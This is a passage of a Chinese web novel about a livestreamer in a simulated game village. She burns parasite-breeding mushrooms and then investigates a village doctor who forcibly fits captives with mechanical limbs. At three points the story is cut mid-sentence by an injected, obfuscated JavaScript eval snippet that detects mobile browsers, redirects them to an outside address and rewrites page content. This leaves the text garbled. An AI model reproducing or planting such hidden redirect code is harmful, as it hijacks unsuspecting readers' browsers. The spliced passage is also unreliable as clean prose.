在把点火枪给胡家明之前,岑今其实就已经预料到了他现在的反应。 之前她能把毒虫“烤熟”,是因为地上那一片都是被她的空间壳吞了一半的残虫,失去了完整甲壳的保护。 她看得仔细,残虫即使被高温加热也没有蜷缩变小,也就是说,点火枪能“烤熟”毒虫的肉,却影响不了它们的壳——这群毒虫的甲壳,异常的坚硬,而且耐高温。 她还没来得及去烧一烧全须全尾的活虫做测试,不过有胡家明这个一点儿都不沉稳的中年人替她试,省得她亲自动手,倒是给她腾出了帮路阳画画的时间。 点火枪被胡家明狠狠地扔在地上,半截陷进了蘑菇坑里,不幸粘上了湿哒哒的泥土和毒虫的残肢。岑今一步一步地朝她的5000打赏值走去,眼神里写满了心疼。 5000打赏值呢!如果真这么没用的话,系统还拿什么激励他们好好直播,帮公司从观众的口袋里掏子儿赚钱? 岑今蹲下身,拾起了她可怜的点火枪,摸出两片不知道从哪儿捡来的树叶,仔仔细细地擦着枪身。 点火枪对虫子无效,那换个思路,烧点别的呢? 岑今重新攥紧枪把,把枪口对准了脚边的蘑菇坑——然后打开了直播界面。如果她的推测没错的话,接下来即将进入她的高光时刻。 她现在已经是一个成熟的主播了,她不会放过这种能让观众们尖叫打赏的绝佳机会。 “咔哒。”是扳机被扣下的声音。 硕大的火焰从枪口喷出,吞噬了坑底刚刚冒出头的小蘑菇。火焰取代了孕育毒虫的红蘑菇,在地表之下不断膨胀、生长,很快填满了一整个蘑菇坑。 姜月月眯了眯眼,从她的视角看过去,一片狼藉的地面中央突然出现了一团跳跃的火红,似乎叫嚣着要将一切吞没。 岑今垂着眼,静静地等待火焰熄灭。蘑菇坑被烧干净了,现在看起来就像一个平平无奇的凹陷。不再有蘑菇,也不剩一颗孢子,只有一撮余灰静静地躺在坑底。 接下来,她利落地拎起长枪,一个又一个地,点燃了神殿地面上几十个大大小小的蘑菇坑。一簇簇火焰在跳舞,升起的烟尘掩盖了混合着血水与毒虫残躯的地面。大殿中央的母神像站在一片朦胧里,身上的脏污看不真切,像是他们迈入大殿初见时那样纯白、美好。 无人在意的角落,路阳为了防止自己的根系也被点燃,终于解除了植物人形态,悄悄做回了人。 岑今看着这片被她点燃的土地,皱起了眉头。 她觉得这个场面有些眼熟,似乎是她第一次触碰模拟舱光滑的外壳时,曾在她眼前极短促地闪过。 难道那时的幻觉是一种预知?仔细回想起来,那个双手合十的少年虽然看不清面容,但身形却与青山有七成相似…… 陈小明踩着点完成了任务,终于有时间抬起头看一眼大殿里的变故:“好漂亮……” 他有些失神,怀疑这里的毒虫可能确实像壁画所画的一样会让人中蛊——他竟然会觉得这满地跃动的火焰有种诡异的美感。 胡家明愣愣地看着这一切,也许是受中毒的影响,他的行动变得很迟缓。也不知道看到这一幕,他的心里在想些什么。 倒计时:00:05:19。 最后一簇火焰也熄灭了。大殿里不再冒出反复膨胀又坍缩的血红蘑菇,不再有源源不断的毒虫掀开蘑菇皮向他们奔来,之前剩下的虫子也大多被几人加工成了尸体,这一方小小的空间终于缓慢地安静了下来。 岑今在跌坐在地的胡家明面前站定,叹了口气:“我之前就担心你不会用点火枪,现在看来,你果然不会用。” 胡家明还没说什么,岑今先听见了“叮”的一声,是光脑弹出了新通知: 【达成隐藏成就:姐姐实火】 「正确使用道具“点火枪”,放火烧尽母神殿中所有血蘑菇,即可解锁该成就。」 「是否显示此成就?」 岑今选择了“是”。然后她看见她的直播界面最上方,“48岁铁血修理工人的直播间”前面出现了四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195118|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个金光灿灿的大字——【姐姐实火】。 她现在知道了,原来直播间的观众是看不见光脑弹给主播的各种通知的,因为此时的弹幕正洋溢着懵逼但欢乐的气息: 【主播充钱了?】 【我认证主播实火,隔壁几个直播间的人气都没有主播高】 【好土的几个大字……】 【姐姐点燃的不是蘑菇,是我的心火~~】 【有没有人觉得主播刚刚嘲讽那个铁头大叔有点太过分了?】 【为什么叫姐姐?请尊称工人大人】 【主人大人】 【主人好像也不错诶!主人看我~~】 弹幕的讨论似乎走向了奇怪的方向,不过这不重要。 岑今的视线落到了打赏值后跟着的那个美妙的四位数上——“1751”。 她烧个蘑菇的功夫,打赏值就蹭蹭地涨了将近一个“小刀”。作为一个成熟的主播,她当即决定热情地营业一下。 岑今五指并拢碰了碰额头,对观众们敬了个飞礼:“铁血女工,使命必达。我的目标是,让大家的每一分钱都不白花!” 很好,她的人设又立体了一个度——深藏不露但又很有服务意识的神秘大佬。 “天呐!你们怎么成这样了!”倒计时终于归零,封住大门的浅红色激光消融,露出了站在门口、一脸震惊的青山。 第一个开口的是蒋琳,她的气息有些虚浮,语调却是锋利的,有一种来自班主任的压迫感:“你不知道为什么吗?” “对不起对不起,血蘑菇已经很久没出现了,”青山急匆匆地跑了进来,主动搀起了坐在地上两眼放空的胡家明,“是我疏忽了,我先前不该出去的,或者应该早点进来看看情况,真的太抱歉了……” 岑今一瞬不瞬地盯着青山,可惜他低着头,脸庞笼罩在阴影里,看不清神色。 姜月月的黄金瞳褪去了,她退开两步,同样眯着眼打量起眼前这个看似人畜无害的少年。 他当然可疑。从他们进入凤凰村开始,引导他们一步步往下走的人就一直是青山。 带他们走进母神殿的是青山;着急离开,落下门禁把他们锁在大殿的也是青山;惊心动魄的闹剧结束之后,第一个出现的还是青山。 而且,他显然知道,母神殿里存在“血蘑菇”这种生物。 另外,青山告知他们的“夏令营的第一项体验”,同时也是系统颁布的主线任务一。 青山和系统又是什么关系?是系统的传声筒,还是副本中一个普通的可交互npc?他是被设定好的程序,还是可能拥有一定的自我意志? 最关键的是,青山说的话,他们应该相信多少? “先跟我出去吧,晚点我让村民们来清扫一下大殿,实在是对不住。”青山搀着胡家明往外走,像是没看见几人的神色一样,仍然在自顾自地连连道歉。 岑今和蒋琳对视了一眼,默契地选择了跟上青山走出母神殿——不知道他葫芦里卖的什么药,先静观其变。 路阳和陈小明像是开启了跟随模式,默默地贴在她俩身后。 姜月月则是远远缀在后面,在走出大殿之前,蹲下身捡起了一只举着大钳试图挡住自己的漏网之蝎。 9. 母神的赐福(七) 迈出大殿高高的门槛,岑今用力呼吸了好几口夏日傍晚清爽的空气。 天边漫起晚霞,大片大片的粉与紫交溶在远山之上,是他们这些早已习惯了城市光污染的现代人难得见到的美景。 可惜眼下并不是一个允许“岁月静好”的时刻。 胡家明浑身又是剧烈地一颤。青山见状停了下来,把过分沉重的胡家明放在地上。 他白净的脸上写满了担忧:“不行,不能再拖了。被血蘑菇寄生虫蜇伤不是小事,我现在就带你们去找村医。” 原来那些毒虫是血蘑菇的寄生虫。不过它们带的是什么毒?为什么胡家明一副被夺舍了的样子? 岑今没出声,在心里琢磨着。 胡家明被青山架着,通红的眼睛直勾勾地盯着前方,青紫发黑的四肢不时地抽动,举止神态和壁画中那些不幸中蛊的村民很是相似。 岑今忽然想起自己膝盖上还有伤口。之前忙着杀虫,没把这事儿放在心上。现在有空喘口气,她后知后觉地发现左膝盖的肌肉好像不太使的上劲儿,有种不受控制的感觉。 “放着不管会怎样?我觉得我没有很强烈的不适。”蒋琳之前狠下心削下了一层皮肉,毒素扩散的范围不大,在她触目惊心的伤口周围泛起一圈淡淡的紫色。她因为失血过多和过度使用异能而面色惨白,但好在神智依旧清明,中毒应该不深。 陈小明的小腿和手背上都有青紫色的伤痕,他眼巴巴地看着青山,有些迟钝地等着他的答案——虽然他的头有点发晕,但他完全不想去看医生,更别说是听起来就会让人联想到种种恐怖传闻的“村医”了。 “传说中血蘑菇寄生虫携带傀儡蛊,放任毒素扩散甚至能完全侵占人的心智!”青山急道,“村里的医生有经验,我带你们过去。没有中毒的朋友今晚好好休息,给大家准备的房间就是母神殿广场南面的那一排吊脚楼,抱歉没法带几位过去了。” “传说中”?意思是他们凤凰村村民对寄生虫的虫毒也只是道听途说,没有确切的诊断?这个村子的科技水平怎么忽高忽低的——听起来更可疑了。 岑今站着没动,她对青山口中的“傀儡蛊”的真实性持保留态度。她打算继续瞒着,只要青山没看出她中毒,那她就是没中毒。 陈小明听到“傀儡蛊”三个字,像是被吓到了,默默跟到了青山身后。 蒋琳皱了皱眉,犹豫了一会儿,最终还是决定去见见这个村医——要是真有危险,那就兵来将挡水来土掩吧。 在青山看不见的角落,她悄悄对岑今比了两个手势,希望岑今能接收到她的信号。 青山冲着留在原地的“完璧”三人组点点头,深吸一口气扶起胡家明,急急忙忙地带着陈小明和蒋琳往另一个方向去了。 “路阳?”岑今目送他们消失在母神殿背后,回头喊了一声她的忠实使徒。 路阳呆立在原地没动,好像魂还留在母神殿里没追上来,于是岑今又叫了一声:“炎君?” “诶!”这下他反应过来了,一个激灵把背都挺直了。 岑今笑眯眯的:“任务完成得怎么样啊,我的忠实使徒?” “真是太谢谢您了,岑今老师!有什么需要使徒做的,请您尽管吩咐。” 姜月月在一旁把小脸绷得紧紧的,瞟过这二位的眼神里写满了无法理解。 “你能跟上他们,然后在那村医的地盘上变成植物人呆一晚上吗?”岑今礼貌但毫不客气地开始给路阳派活儿,“蒋琳应该会在路上留记号,注意草丛。” 路阳虽然中二了点,但他不傻:“去监视村医和npc老师?我也觉得他们有点不对劲。” 岑今摆摆手:“怎么能叫监视呢,我是关心各位主播的人身安全。” “既然是岑今老师的要求——可恶啊,那我不得不拼尽全力了!” 路阳在母神殿里那三小时基本上什么也没干,藏在角落里看众人忙忙碌碌,心里早就摩拳擦掌跃跃欲试了。 现在岑今给他指了一条明路,让他的异能有了用武之地,路阳恨不得直接飞到村医的花盆里把自己栽下,看看青山的葫芦里卖的究竟是什么药。 “万事小心,晚上我们过来看你。”岑今叮嘱完路阳,转头拍了拍姜月月的肩膀,“对吧,月月?你也是这么想的吧?” 要她一个人去夜探村医院,说实话,她有点担心自己的人身安全。但拉上异能看起来就很厉害的姜月月,那说不定就不一样了。 而且,今天晚上的这段时间,中毒的三人被npc控制,但他们几个可是自由身。姜月月显然不是谨小慎微、胆小怕事的人,不可能放过这个探索剧情的好机会。 姜月月看着岑今笑面虎似的神情,心中冒出一丝被拿捏的不爽。 岑今说中了,村医那儿她是一定会去的。跟岑今一起行动嘛,也不是不行,必要的时候可以把她推出去卖了,也算能派上用场。 想到这里,姜月月阴森森地勾起嘴角,点了点头。 三人分头行动,路阳即刻出发,去追踪青山一行人的踪迹;姜月月和岑今分别回到挂着她们姓名门牌的吊脚楼,各自打着自己的算盘。 入夜的凤凰村很美。不同于白日里山清水秀的桃源风光,到了晚上,屋檐边、阑干上、高矮不一的枝杈上挂着的灯带都亮了起来,穿越村寨的蜿蜒小溪倒映出两岸的灯光,溪水摇曳着霓虹色的梦幻光影。 不过,光怪陆离的美景却给岑今二人带来了一些麻烦。岑今一直等到了晚上十二点过,凤凰村依旧灯火通明,她和姜月月也只能硬着头皮,在明如白昼的环境中推进她们的潜行计划。 另外,还有一个坏消息。 在回到房间之后,岑今一直开着直播界面。她闲下来就会去看一看,简单和观众互动一下。但是几个小时下来,她没有看到任何一条和被带走的三人有关的弹幕,应该是直播间设置了相关的屏蔽,禁止弹幕向主播泄露场外信息。 这就意味着,她对村医馆的情报来源,只能依靠不知道靠不靠谱的路阳。 “这灯管装的……树底下都是亮的!”岑今忍不住低声吐槽。她这一路上不是半蹲贴着石头走,就是在吊脚楼的房柱之间钻行,实在是很憋屈。 姜月月个子小,躲藏起来不像岑今那么费劲。她走在前面,面无表情地瞥了岑今一眼:“能看清蒋琳留下的标记,是好事啊。” “……”行吧,好心态决定女人一生。 蒋琳当时给岑今比的那两个手势,先是指了指地上的杂草,然后是拇指和食指捏在一起比了个心。岑今沿着下午他们离开的方向找过去,每到岔路口,都能发现一丛杂草被鞋尖左右碾了两下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195119|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕迹,草根的形状恰好是一个心形——得亏蒋琳是对着岑今打的手势,要是换成路阳,说不定要以为蒋琳老师是在给他比心打气。 岑今二人追着爱心杂草的踪迹,在林间一连拐了七八个弯,终于柳暗花明。 眼前是一棵根系发达、枝繁叶茂的通天大树,主干粗得能容下十人合抱。 在半层楼高的位置,同样粗壮的枝杈上架着一座豪华树屋,屋子的左侧是一面宽阔的落地玻璃窗,但窗户内侧装了百叶,看不清屋里的情况。透明材质的电动扶梯连接着地面和树屋所在的平台,要是用模拟舱外的标准来衡量,简直就是南岸的上流人士才住得起的一梯一户独栋大平层。 姜月月和岑今一起蹲在一块大石头后面,仰头研究了一阵,也没看出什么特殊之处。她不想再浪费时间,拔腿就要上前去,结果迈出的半只脚还没落下,就被岑今一把拉了回来。 “先等等,我找找路阳。”岑今觉得,路阳的卧底水平应该还没修炼到能直接摸进室内,多半是伪装在了大树周围,或者直接藏在树上。 “那你找快点。” “区区十二点半,别急。”岑今的视力很好,她上下扫描了一圈树屋四周的小树,并没有看到类似人脸的树皮纹路。 “我还在发育,不喜欢缺觉。”姜月月面无表情地盯着岑今。 听了这话,岑今莫名生出了一股作为成年人的责任感。 她挺直了背脊,把视线挪到树屋所在的巨树身上,从虬结的树根开始,一寸一寸地往上挪。挪到从树屋屋脊下探出一截的、一根扭曲的枝杈时,岑今的目光停住了——她似乎从树皮上看出了一点拉长变形的、人类五官的轮廓。 她从地上拣了块拳头大小的石头,像丢沙包一样,对准那根枝杈扔了过去。 “咚”的一声闷响,扭曲的树杈被精准命中,枝头茂密的绿叶一齐颤了两下。 怎么没反应?难道是她看错了? 岑今正想再扔块更大的石头试试,下一刻,就看见被她锁定的那根树杈往下降了降,又努力往上抬了抬——好像在画一个对勾。 她拍掉手上的灰,无声地笑了:“找到路阳了,我们先去和他汇合。” 姜月月低头点了点光脑——计时器显示,岑今一共花了三分二十七秒,倒是比她预想的快。 从电动扶梯上去,沿着平台走到树屋左后侧的位置,就能轻松摸到树杈版路阳,但这样的潜行路线未免太过明目张胆。二人不约而同地选择了一种更为隐蔽的方式——爬树。 岑今伸出机械右手扣了扣树皮,抓握力和摩擦力比起她原生的手掌都有所增强。庞大的树根连接到树干底部,形成一片平缓的坡面。掌握好平衡助跑,到坡面转陡的极限位置用力一蹬,岑近往上蹿了大半个身位,双手扣住了低处的一根粗枝。 她骤然绷紧背肌和大臂,向上拉起了自己的身体,再反手一撑,一双长腿轻松踩在了粗枝上。 岑今低头去看姜月月,发现她正站在树下脱鞋。 没有了鞋子的遮挡,姜月月的两只很“骨感”的机械脚露了出来——之前一直没发现姜月月机械化的部位,原来是穿鞋遮住了,实在是刁钻。 她把鞋塞进了背着的一个小包袱里,两只脚轮流往前一甩,两把寒光锃锃的小刀就从脚尖“蹭蹭”冒了出来。 10. 母神的赐福(八) 姜月月的“脚尖刃”看起来像是由超硬碳合金制成的,锋利异常。 岑今见她畅通无阻地把小刀插进了树干,然后交替着抬脚,一级一级地往上走,如履平地,轻松得像是在上楼梯一样。 怎么姜月月不仅异能好用,就连义体也好用?岑今现在怀疑,模拟舱设置了未成年人保护。 两人很快就登上了树屋所在的木制平台。屋檐下的树杈版路阳“唰唰”地抖着叶子,招呼她俩过去。 “说说吧,有什么发现?”岑今拍了拍他的“身子”,以示打招呼。 “遵命!”树皮上,疑似路阳五官的纹路拉长了,他像是深吸了一口气,“我追踪到这里的时候,青山老师正好从树屋离开。在小树林的边缘,我们两个只差一点就要迎面撞上,幸好我急中生智——” 岑近感觉他说着说着又要燃起来了,连忙打断:“这段略过,讲重点。” “好吧,跳过。总之就是我有惊无险地找到了这个绝佳的位置安顿了下来,刚到的时候,玻璃窗内侧的百叶还没有被拉上,我枝头的叶片正好可以看到屋里的情况。” 岑今和姜月月一齐看向了右边的窗玻璃,百叶窗的缝隙间渗出一线线暗红色的微芒,正一起一伏地规律闪动。 “从大门进去,是一间很宽敞的手术室,里面并排放着六张手术床,看起来都有点破旧。” 路阳成功伪装成树杈的时候,蒋琳三人已经分别坐在了靠背抬起的手术床上,彼此之间相隔一个床位。 胡家明的眼神看起来直愣愣的,没有焦点;陈小明是一双机械眼,他又戴着眼镜,看不出什么异常,但他的肢体动作有些迟缓。 “蒋琳老师应该还很清醒,她没有靠下去,脊背绷得笔直,称得上一句‘坐如钟,站如松’!” 姜月月长长的眼睛眯了起来:“说重点。”她发现了,路阳是个不折不扣的话唠。 “我保证,接下来全是重点!” 路阳的语速骤然提升,从说书变成了说绕口令:“就在这个时候,一个戴着一副红框眼镜、穿无袖白大褂的女人推开了手术室右边的一扇小门,从房间里走了出来——她就是青山老师提到的村医。” “村医整个人很瘦削,从侧面看薄薄的一片,但她的上肢改造成了两条巨大的机械臂,有岑今老师右手这条的两倍宽,结构和功能看起来都很复杂,比起十合一版本的多功能军刀也是不遑多让。” 村医手里拿着三根粗壮的、灌着透明液体的针筒,针头和食指差不多长,泛着晃眼的冷光。 她推了推眼镜,一步步朝着最右侧床位的蒋琳走去,微微勾起的嘴角流露出一丝难以抑制的兴奋。 蒋琳的目光紧盯着针管:“如果是麻醉剂的话,我想我不需要。” 村医居高临下在她的床边站定,镜片下的视线一寸一寸地扫过蒋琳的身体,嘴角扬起的弧度更大了。 “不,你一定需要。” “她们的对话是我看唇语推测的,不保证准确哟。反正村医刚一说完,蒋琳老师就蓄势待发打算动手了!”路阳抓住机会换了口气,继续噼里啪啦倒豆子,“但是就在这时,村医以迅雷不及掩耳之势伸出她的机械手指点在了蒋琳老师的眉心,蒋琳老师的眼神瞬间就涣散了!她整个人开始剧烈地发抖,也不知道村医对她做了什么。” 岑今皱了皱眉,用她多年搞机修的思维推理:“浑身发抖?村医的机械手会放电?” “看样子不太像。”路阳停顿了一下,才接着说,“我怀疑村医也有异能,但我没有证据。” 听到这个消息,姜月月本就冷冰冰的脸又降了几度温。 “连蒋琳老师都败下阵来,另外两位就更不是对手了。村医给他们一人来了一针,那么长的针头整个穿进手背里,我看着都心惊胆战。”说到这里,路阳的叶片应景地抖了抖。 “针管里装着的透明液体应该就是麻醉药剂,注射完之后没一会儿,三个人就都闭着眼倒在手术床上了。” 如果青山说的是真的,三人中的虫毒携带“傀儡蛊”,那么村医就应该采用对应的驱蛊方法来救人。 但是听路阳的描述,村医上来就直接给三人做了个全身麻醉——难道驱蛊还需要开膛破肚寻觅蛊虫,然后用物理手段把蛊虫挑出来?这未免有点太简单粗暴了。 况且,岑今晚上出门前一个人呆在吊脚楼的时候,检查过左腿膝盖上被寄生虫蜇到的位置。 以伤口为圆心,半径一厘米的范围内扩散出一圈硬币大小的青紫色,按起来有点麻有点痛,但基本上不影响行动。 她觉得,就算真有蛊虫,这蛊虫也不是什么厉害角色,犯不着下这么大一针管麻醉猛药。 岑今心头盘旋的疑问更大了:“然后村医对他们做什么了?” 路阳叹了口气:“然后村医走过来把百叶窗拉上了。”落地玻璃窗被百叶覆盖,路阳的上帝视角就此关闭。 “我看不见里面的情况,但村医应该一直都在屋里,没有出来过。” 岑今并不失望,路阳提供的消息已经足够有价值: 一是村医可能拥有精神控制相关的异能,她们进去之后需要多留个心眼,提高警惕; 二是村医似乎打算用传统医学手术的方式为三人“驱蛊”,这不符合她对“蛊毒”的过往认知。 整理完思路,她拍了拍路阳树皮形态的脸皮,给他比了个大拇指:“辛苦了,我忠实的使徒,天生你材必有用!” 路阳难得没接话,岑今估摸着这句话可能又戳到他燃点了,他这会儿大概在偷偷自燃。 姜月月对路阳点了一个极其微小的头,然后直截了当地往树屋大门口走去。 “从正门潜入”虽然听起来很蠢,但这树屋左边是全封闭的玻璃窗,剩下三面和屋顶又连成了大半个坚硬的蛋壳,连岑今都看不出是用什么材料建成的,反正是连一丝光都没渗出来,完全无从下手。 岑今也默契地走到了大门前——没办法,只有正门是最好的选择。 她轻轻用手抵上大门,忽然“呲”的一声轻响,漆了木纹的金属门板居然自己麻溜地往左边移开了,露出一个黑沉沉的门洞,像是苏醒的巨兽对她们张开不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195120|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀好意的大口。 岑今反应很快,转头用口型对一旁的姜月月比划了两个字——“陷阱”。 她才不信村医会给这个连光都不透的树屋安一个谁都能进的感应门。 与此同时,安静了半天的光脑终于又弹出了熟悉的光幕。 【支线任务:村医的秘密】 【完成进度:0%】 「恭喜主播触发支线任务,完成支线任务有可能获得意想不到的奖励哦!月黑风高夜,那什么什么时。一片漆黑的树屋里究竟发生了什么?又有怎样的惊喜在黑暗中等待着你?凤凰岭的神奇秘密,即将在你眼前一点点揭开……」 岑今默了一瞬。 黑暗中的惊喜,多半是惊吓。 但来都来了,任务触发都触发了,就算明知道眼前是陷阱,先踩上一踩试试深浅倒也未尝不可。 她没有再犹豫,抬腿走进了黑漆漆的树屋。 姜月月也接到了任务,但她不如岑今腿长,比岑今慢了一步走进大门。 树屋里静悄悄的,只有“滴——滴——”的机械音在空旷的房间回响,显得格外突兀。 岑今脚下没动,眼神看了过去。左手边,也就是靠近落地玻璃窗的那一侧,摆着几台心电监护仪,屏幕上红色线条起起伏伏,代表心率的数字正常跳动着。 仪器屏幕的微光模模糊糊映亮一旁的手术床,勉强能看出蒋琳三人的轮廓,他们的胸口在缓慢地起伏——人还活着,这是个好消息。 岑今吸了吸鼻子,空气中弥漫着一股淡淡的血腥味。 路阳说村医大概率还留在屋里,但手术室里除了躺着的三人轻缓的呼吸声之外,就只有她和姜月月走动时,衣物摩擦发出的微乎其微的动静,听不出有第六人存在的痕迹。 这或许说明村医可能待在她之前拿针筒出来的、手术室右侧小门后的房间里。当然,还有另外一种可能——村医换掉了手术床上的某人,此刻正安安静静地躺在那儿,等待着她们的靠近。 怎么办? 岑今迅速地回想了一遍路阳刚刚给她们描述的内容——“……村医以迅雷不及掩耳之势伸出她的机械手指点在了蒋琳老师的眉心”——先不考虑村医使用的到底是机械手的功能,还是自身的异能,有没有可能都需要通过物理上的直接接触才能发动? 如果是这样的话,她或许可以再赌一把,就赌村医的手指没法顺利穿过空间壳,没法直接触碰到她的身体。 姜月月先动了。她眨了眨眼,切换到了黄金竖瞳的状态,无声无息地走向距离她们最近的蒋琳的床位。 也不知道她有没有做好村医可能躺在床上的心理准备,岑今默默担忧了一瞬。但眼下也不好出声提醒,只能悄无声息地跟上她,暂且维持表面的一切如常。 岑今屏息一步步接近手术床,床上隐没在黑暗中的模糊轮廓也一点点变得清晰。 最先被岑今看清的,是暴露在外的身体上大面积的金属反光。她的背肌瞬间紧绷起来,身体比大脑先一步进入了防御的状态——蒋琳身上没有这么多的机械义体! 11. 母神的赐福(九) 岑今猛地把视线挪到了手术床上那人的脸上——她的脸颊瘦削而苍白,眉头即使是在昏睡中也紧锁着,一头短发被压得有些凌乱——那确实是蒋琳的脸。 她松了一口气,借着床头监护仪屏幕的一点微光,认真检查了一遍蒋琳的身体。 在一开始进入模拟舱副本的时候,蒋琳只有两条小腿是机械义体。但现在,她上半身的右手臂也换成了金属的,肩头的连接处还能隐隐约约看见半干的血渍。 说好的驱蛊、解蛊毒呢?怎么还给人改装了? 姜月月似乎也有些震惊,她又往前走了两步,低下头研究了一阵蒋琳肩头的伤口,然后对岑今比了一个类似嘟嘴的口型,又用手比了个叉。 岑今推测,姜月月想说的应该是:“毒,没了。” 她的脑中忽然灵光一闪,想起了母神殿里折磨了他们几个小时的壁画——勇士们自断肢干以阻断虫毒的扩散,在结束战斗后,母神又降下神迹替勇士们重塑断肢、愈合伤口…… 村医卸下蒋琳中毒的双臂,又为她装上机械义体,不也是一种“重塑断肢”吗? 村医的“治疗”方式是对母神的朝圣?还是说,壁画故事中所记录的斩断肢体,其实就是驱除傀儡蛊的正确方式? 岑今确认过蒋琳只是昏睡,生命体征仍一切正常,便继续向下一张床位走去。与蒋琳间隔一张手术床的位置,那里躺着的是陈小明。 他的呼吸很平稳,甚至眼镜都还好端端地架在鼻梁上,只是左腿和左手小臂被换成了机械义体。 姜月月依旧是上前检查了一番,她应该是对毒有某种异于常人的感知,很快就给岑今打出了和之前一样的暗号——“毒,没了。” 按照模拟舱外现实世界的逻辑,机械义体相较于人类原生的血肉之躯,在机能上显然是增强了不少。 而且,岑今在进入副本之初就有猜测,即使是在这个副本的世界观内,人体机械改造也绝不是什么人人都能负担得起的、家常便饭的东西。 一个村庄里的村医为了替游客们解毒,不仅帮他们截肢,还主动做好售后服务,给游客们安装上造价不菲的机械义体——这件事怎么想怎么诡异。 夜探树屋探到现在,岑今的任务进度一点没动,疑问反倒是越堆越多了。 她暂时没理出头绪,姜月月看起来也没有什么别的发现,两人只好继续向下一张床走去。 最内侧床位上躺着的人影比前两位都要壮一些,应该是胡家明没错。 仪器冰冷的“滴——滴——”声规律地响起,不停敲打着岑今的心脏。再往前走三步,就是最后一张床位了。如果检查完胡家明的状态,她们仍然没有更多的收获,那就势必要去探一探手术室右侧的那个小房间了。 村医此刻身在何处?她会在黑暗中沉默地监视着她们的一举一动吗? 岑今又向前迈了一步,屏幕的微光弱弱地洒在手术床上。她看清了——人影正中间的躯干薄得像一张纸。 那不是胡家明! 岑今在距离手术床还有一步距离时猛地停下了脚步,正想伸手把快她半步的姜月月拉回来,然而就在那个瞬间,床上的人影突兀地直起了身子,两条手臂“咔咔”向前暴长,漆黑的食指直指两人眉心。 床上躺着的根本就不是胡家明,而是在一双机械臂的加持下显得格外“强壮”的村医。 岑今不敢托大,一边快步向后退去,一边将均匀覆盖在上半身的空间壳都集中挪到了额头上。 村医的“指尖”堪堪触碰到拱成了一个小包的空间壳边缘,发出一阵令人牙酸的“呲呲”声。 她反应很快地缩回了已经伸出一米多长的右臂,低头去看刚刚探向岑今的那根食指,最末端居然被削去了一截,露出了里边光秃秃的金属零件。 岑今又赌赢了,村医的机械手同样没法穿透她的空间壳。 不过,村医伸手过来的力道比之前的寄生虫要大得多,岑今操控空间壳去抵挡的过程也更吃力一些,削下来的切面并不十分平整。 村医低哼一声翻身下床,左手快成了一道残影,改指为掌,攥紧了姜月月细瘦的脖颈。机械臂行云流水地“咔咔”缩短,一个呼吸的起落,就把人直接带到了她的身前。 在村医暴起之前,姜月月倒也不是毫无察觉,然而还是晚了一瞬,被村医点中了额头。 她的黄金竖瞳闪了闪,像是信号不稳的老旧电视挣扎着维持画面,终于在被拉到村医跟前时,切换成了一对深黑空洞的、傀儡一般的眼珠。 “别动。”村医鲜红的嘴唇勾了起来,右手机械掌的掌心里咔哒弹出了一把手术刀,被她稳稳地架在了姜月月的脖子上。 姜月月则是和之前路阳描述中被村医点中的蒋琳一样,浑身都颤抖了起来。这次岑今亲眼看到了,不是那种遭受电击的生理抽搐,更像是因为害怕什么东西而不自觉地颤抖。 她的心沉了一沉——看来这个村医确实拥有异能。 岑今快速地思考着对策,眼神在村医和姜月月之间来回游移,身体确实没动,嘴上倒是没闲着:“你说不动就不动啊?” “你,还有这个小女孩,躺下接受我的机械改造,”村医的手术刀贴着姜月月的皮肤流连,像是雕塑家沉醉于指掌间诞生的艺术品,“不然我现在就把她杀了。” 岑今直视着村医的眼睛,语气十分理所当然:“那你把她杀了吧,反正我和她也不熟。” 没有人发现,她在黑暗中自然下垂的右手,食指微微弯曲了一下。 村医成功被她噎到,改口道:“我免费为你们提供机械改造的服务,为什么要拒绝呢?” 岑今接着她的话头说了下去:“免费?我不相信这世上有人愿意赔本干机械改造这种费钱又费力的活,除非你是圣母转生。” 岑今的手指左右摆动了一个来回。只有她自己能看清,随着她的动作,村医面前半空中的“空间”,发生了一阵短促的、微妙的颤动。 “用机械重塑人类脆弱不堪的血肉,这件事本身难道不就很迷人吗?”村医的视线从岑今右手的机械臂上缓缓滑过,镜片后的目光凝滞着近乎疯狂的热切,“不过,我还是有工资拿的,不必担心经费。” “谁给你发工资?青山吗?” “你猜对了。他完全理解我的追求,是个大方的小男孩。” 岑今挑了挑眉毛,这倒是意料之外的收获了。 青山有钱她不意外,估计大半来源于夏令营的报名费。但他为什么要把赚来的钱花在村医机械改造手术的经费上?如果凤凰村组织夏令营的目的不是盈利,那又会是什么? 村医显然不是真想把她和姜月月杀了。她打开门引诱她们进来,埋伏在胡家明的床位上搞突然袭击,又不厌其烦地和她对话,都只是为了能顺利地对她俩进行机械改造。 